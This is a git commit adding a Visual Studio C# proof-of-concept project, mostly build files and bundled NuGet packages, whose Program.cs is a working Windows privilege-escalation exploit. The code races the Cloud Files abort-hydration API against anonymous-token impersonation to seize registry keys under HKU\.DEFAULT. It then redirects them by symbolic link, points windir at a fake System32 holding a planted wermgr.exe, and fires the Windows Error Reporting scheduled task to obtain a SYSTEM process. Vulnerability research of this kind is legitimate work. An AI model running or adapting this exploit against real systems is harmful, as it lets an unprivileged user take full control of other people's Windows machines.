commit 16ed635ec968dc0b0c08fcca39ad5cd6e062e7a9 Author: Elliot Date: Sat May 16 07:00:38 2026 +0200 PoC files diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP.sln b/PoC_AbortHydration_ArbitraryRegKey_EoP.sln new file mode 100644 index 0000000..e387198 --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30413.136 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PoC_AbortHydration_ArbitraryRegKey_EoP", "PoC_AbortHydration_ArbitraryRegKey_EoP\PoC_AbortHydration_ArbitraryRegKey_EoP.csproj", "{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {AC46CFC5-1E96-44EF-8DC8-8D76B107B781} + EndGlobalSection +EndGlobal diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config b/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config new file mode 100644 index 0000000..1ab4cba --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml b/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml new file mode 100644 index 0000000..f1dea8f --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd b/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd new file mode 100644 index 0000000..c0df09d --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd @@ -0,0 +1,186 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj new file mode 100644 index 0000000..eb8e0af --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj @@ -0,0 +1,125 @@ + + + + + + Debug + AnyCPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3} + Exe + true + PoC_AbortHydration_ArbitraryRegKey_EoP + PoC_AbortHydration_ArbitraryRegKey_EoP + v4.8.1 + 512 + true + true + false + + + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 1 + 1.0.0.%2a + false + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + 0F28BB121C2D5CEE6A57C741514F51E5F2D9ECAD + + + PoC_AbortHydration_ArbitraryRegKey_EoP_TemporaryKey.pfx + + + true + + + true + + + + ..\packages\Costura.Fody.6.2.0\lib\netstandard2.0\Costura.dll + + + ..\packages\TaskScheduler.2.12.2\lib\net48\Microsoft.Win32.TaskScheduler.dll + + + ..\packages\NtApiDotNet.1.1.33\lib\net461\NtApiDotNet.dll + + + + + + + + + + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4.7.2 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + + \ No newline at end of file diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user new file mode 100644 index 0000000..75eb54d --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user @@ -0,0 +1,13 @@ + + + + publish\ + + + + + + en-US + false + + \ No newline at end of file diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs b/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs new file mode 100644 index 0000000..afe21d1 --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs @@ -0,0 +1,369 @@ +using Microsoft.Win32; +using Microsoft.Win32.TaskScheduler; +using NtApiDotNet; +using NtApiDotNet.Win32; +using System; +using System.Diagnostics; +using System.IO; +using System.IO.Pipes; +using System.Runtime.InteropServices; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Permissions; +using System.Threading; + +namespace PoC_AbortHydration_ArbitraryRegKey_EoP +{ + static class Program + { + static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access) + { + Console.WriteLine("Opening for {0}", desired_access); + using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root)) + { + using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false)) + { + if (key.IsSuccess) + return key.Result.Duplicate(); + } + + using (var imp = NtThread.Current.ImpersonateAnonymousToken()) + { + return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile); + } + } + } + + static void SetSecurityDescriptor(NtKey key, SecurityInformation info) + { + var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)"); + key.SetSecurityDescriptor(sd, info); + } + + static void ForceKeyDeleteKey(NtKey root, string name) + { + Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name); + using (var key = OpenKey(root, name, KeyAccessRights.WriteDac)) + { + Console.WriteLine("Opened for WriteDac"); + SetSecurityDescriptor(key, SecurityInformation.Dacl); + } + + using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner)) + { + Console.WriteLine("Opened for WriteOwner"); + SetSecurityDescriptor(key, SecurityInformation.Label); + } + + using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys)) + { + Console.WriteLine("Opened for enumerate."); + DeleteRegistryTree(new_key); + new_key.Delete(); + } + } + + static void DeleteRegistryTree(NtKey root) + { + foreach (var name in root.QueryKeys()) + { + ForceKeyDeleteKey(root, name); + } + } + + [Flags] + enum AbortHydrationFlags + { + None = 0, + Unblock = 1, + Block = 2, + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags); + + + [StructLayout(LayoutKind.Sequential)] + struct CF_PLATFORM_INFO + { + public int BuildNumber; + public int RevisionNumber; + public int IntegrationNumber; + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfGetPlatformInfo( + out CF_PLATFORM_INFO PlatformVersion + ); + + static void ForceTokenThread(object obj) + { + try + { + using (var thread = (NtThread)obj) + { + Console.WriteLine("In force token thread {0}", thread); + using (var token = TokenUtils.GetAnonymousToken()) + { + while (true) + { + thread.SetImpersonationToken(token); + thread.SetImpersonationToken(null); + } + } + } + } + catch(ThreadAbortException) + { + return; + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft"; + static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles"; + static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps"; + const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment"; + + static void CheckKeyThread(object root_key) + { + string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT"; + try + { + using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed)) + { + while (true) + { + if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR) + { + Console.WriteLine("Change detected."); + Environment.Exit(0); + break; + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + static int Check(this int hr) + { + if (hr < 0) + Marshal.ThrowExceptionForHR(hr); + return hr; + } + + const int MAX_STAGE = 4; + + static void Stage0() + { + for (int i = 1; i < MAX_STAGE; ++i) + { + Win32ProcessConfig config = new Win32ProcessConfig + { + CommandLine = $"run {i}", + ApplicationName = typeof(Program).Assembly.Location, + TerminateOnDispose = true + }; + + using (var p = Win32Process.CreateProcess(config)) + { + if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS) + { + throw new ArgumentException($"Failed to run stage {i}"); + } + } + } + } + + static void Stage1(bool root_key) + { + Thread check_key_th = new Thread(CheckKeyThread); + check_key_th.IsBackground = true; + check_key_th.Start(root_key); + Thread.Sleep(1000); + + var th = NtThread.OpenCurrent(); + var anon_thread = new Thread(ForceTokenThread) + { + IsBackground = true + }; + anon_thread.Start(th); + + while (true) + { + CfAbortOperation(NtProcess.Current.ProcessId, + IntPtr.Zero, AbortHydrationFlags.Block); + } + } + + static void Stage2() + { + using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + DeleteRegistryTree(key); + } + + NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY); + Stage1(false); + } + + static void Stage3() + { + using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete)) + { + Console.WriteLine("Cleaning up link {0}", key.FullPath); + key.Delete(); + } + + using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + } + var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl); + foreach(var subkey in key2.GetSubKeyNames()) + { + var fullsubkey = TARGET_KEY + @"\" + subkey; + Console.WriteLine("Cleaning up subkey {0}", fullsubkey); + NtKey _subkey; + try + { + _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac); + } + catch (Exception ex) + { + + _subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac); + } + SetSecurityDescriptor(_subkey, SecurityInformation.Dacl); + _subkey.Close(); + _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete); + _subkey.Delete(); + _subkey.Close(); + } + + key2.Close(); + using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue)) + { + ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName)); + } + + string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32"; + Directory.CreateDirectory(fakesys32); + string fakewer = fakesys32 + @"\wermgr.exe"; + File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true); + + var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe"); + System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync(); + + using (TaskService tasksvc = new TaskService()) + { + Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting"); + wertask.Run(); + wertask.Dispose(); + } + if(!pipewait.Wait(2000)) + { + Console.WriteLine("Exploit failed."); + } + else + { + Console.WriteLine("Exploit succeeded."); + } + srvnamedpipe.Dispose(); + Thread.Sleep(1000); + try + { + File.Delete(fakewer); + Directory.Delete(fakesys32); + } + catch (Exception ex) + { } + using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete)) + { + ntarget.Delete(false); + } + + } + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId); + + static void Main(string[] args) + { + bool isSystem; + using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent()) + { + isSystem = identity.IsSystem; + } + if (isSystem) + { + Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process); + var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe"); + namedpipeclient.Connect(); + UInt32 nSesID; + IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle(); + if (!GetNamedPipeServerSessionId(hPipe, out nSesID)) + return; + namedpipeclient.Dispose(); + NtToken token = NtToken.OpenEffectiveToken(); + NtToken token2 = token.DuplicateToken(); + token.Dispose(); + token = token2; + token.SetSessionId(((int)nSesID)); + Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null); + return; + + } + + + try + { + CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check(); + + if (args.Length <= 1) + { + int stage = args.Length > 0 ? int.Parse(args[0]) : 0; + switch (stage) + { + case 0: + Stage0(); + break; + case 1: + Stage1(true); + break; + case 2: + Stage2(); + break; + case 3: + Stage3(); + break; + default: + throw new ArgumentException("Erm?"); + } + } + else + { + using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null)) + { + using (var imp = token.Impersonate()) + { + CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check(); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + } +} diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs b/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..6e2483f --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("PoC_AbortHydration_ArbitraryRegKey_EoP")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("PoC_AbortHydration_ArbitraryRegKey_EoP")] +[assembly: AssemblyCopyright("Copyright © 2020")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("352f6dd7-9b05-4896-9e7d-2efa36eac6e3")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config b/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config new file mode 100644 index 0000000..e7e6172 --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/packages/Costura.Fody.6.2.0/.signature.p7s b/packages/Costura.Fody.6.2.0/.signature.p7s new file mode 100644 index 0000000..1629ee0 Binary files /dev/null and b/packages/Costura.Fody.6.2.0/.signature.p7s differ diff --git a/packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg b/packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg new file mode 100644 index 0000000..a57c160 Binary files /dev/null and b/packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg differ diff --git a/packages/Costura.Fody.6.2.0/build/Costura.Fody.props b/packages/Costura.Fody.6.2.0/build/Costura.Fody.props new file mode 100644 index 0000000..ea96788 --- /dev/null +++ b/packages/Costura.Fody.6.2.0/build/Costura.Fody.props @@ -0,0 +1,15 @@ + + + + netclassicweaver + netstandardweaver + + + + + + + \ No newline at end of file diff --git a/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets b/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets new file mode 100644 index 0000000..e8adf78 --- /dev/null +++ b/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets @@ -0,0 +1,13 @@ + + + + true + + + + + + + + + \ No newline at end of file diff --git a/packages/Costura.Fody.6.2.0/icon.png b/packages/Costura.Fody.6.2.0/icon.png new file mode 100644 index 0000000..e5fdc34 Binary files /dev/null and b/packages/Costura.Fody.6.2.0/icon.png differ diff --git a/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll b/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll new file mode 100644 index 0000000..a448e65 Binary files /dev/null and b/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll differ diff --git a/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb b/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb new file mode 100644 index 0000000..9190320 Binary files /dev/null and b/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb differ diff --git a/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.xml b/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.xml new file mode 100644 index 0000000..b08fdcb --- /dev/null +++ b/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.xml @@ -0,0 +1,23 @@ + + + + Costura + + + + + Note: do not rename this class or put it inside a namespace. + + + + + Contains methods for interacting with the Costura system. + + + + + Call this to Initialize the Costura system. + + + + diff --git a/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll b/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll new file mode 100644 index 0000000..1f1dcce Binary files /dev/null and b/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll differ diff --git a/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf b/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf new file mode 100644 index 0000000..5aa9a31 --- /dev/null +++ b/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf @@ -0,0 +1,160 @@ + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + \ No newline at end of file diff --git a/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll b/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll new file mode 100644 index 0000000..5e60009 Binary files /dev/null and b/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll differ diff --git a/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf b/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf new file mode 100644 index 0000000..5aa9a31 --- /dev/null +++ b/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf @@ -0,0 +1,160 @@ + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + \ No newline at end of file diff --git a/packages/Fody.6.9.3/.signature.p7s b/packages/Fody.6.9.3/.signature.p7s new file mode 100644 index 0000000..2943e1b Binary files /dev/null and b/packages/Fody.6.9.3/.signature.p7s differ diff --git a/packages/Fody.6.9.3/Fody.6.9.3.nupkg b/packages/Fody.6.9.3/Fody.6.9.3.nupkg new file mode 100644 index 0000000..2902ae4 Binary files /dev/null and b/packages/Fody.6.9.3/Fody.6.9.3.nupkg differ diff --git a/packages/Fody.6.9.3/build/Fody.targets b/packages/Fody.6.9.3/build/Fody.targets new file mode 100644 index 0000000..f6cc780 --- /dev/null +++ b/packages/Fody.6.9.3/build/Fody.targets @@ -0,0 +1,149 @@ + + + $(ProjectDir)FodyWeavers.xml + $(MSBuildThisFileDirectory)..\ + $(FodyPath)tasks\netstandard2.0 + $(FodyPath)tasks\net472 + $(FodyAssemblyDirectory)\FodyTasks.dll + $(DefaultItemExcludes);FodyWeavers.xsd + true + 15 + $([System.Version]::Parse($(MSBuildVersion)).Major) + AfterCompile + $(TargetsTriggeredByCompilation);FodyTarget + true + $(TreatWarningsAsErrors) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/packages/Fody.6.9.3/package_icon.png b/packages/Fody.6.9.3/package_icon.png new file mode 100644 index 0000000..d27b17a Binary files /dev/null and b/packages/Fody.6.9.3/package_icon.png differ diff --git a/packages/Fody.6.9.3/package_readme.md b/packages/Fody.6.9.3/package_readme.md new file mode 100644 index 0000000..fb8762f --- /dev/null +++ b/packages/Fody.6.9.3/package_readme.md @@ -0,0 +1,6 @@ +### Extensible tool for weaving .net assemblies + +Manipulating the IL of an assembly as part of a build requires a significant amount of plumbing code. This plumbing code involves knowledge of both the MSBuild and Visual Studio APIs. Fody attempts to eliminate that plumbing code through an extensible add-in model. + +For more information about the Fody project see https://github.com/Fody/Home + diff --git a/packages/Fody.6.9.3/tasks/net472/FodyCommon.dll b/packages/Fody.6.9.3/tasks/net472/FodyCommon.dll new file mode 100644 index 0000000..d6460ae Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/FodyCommon.dll differ diff --git a/packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll b/packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll new file mode 100644 index 0000000..23a3906 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll differ diff --git a/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml 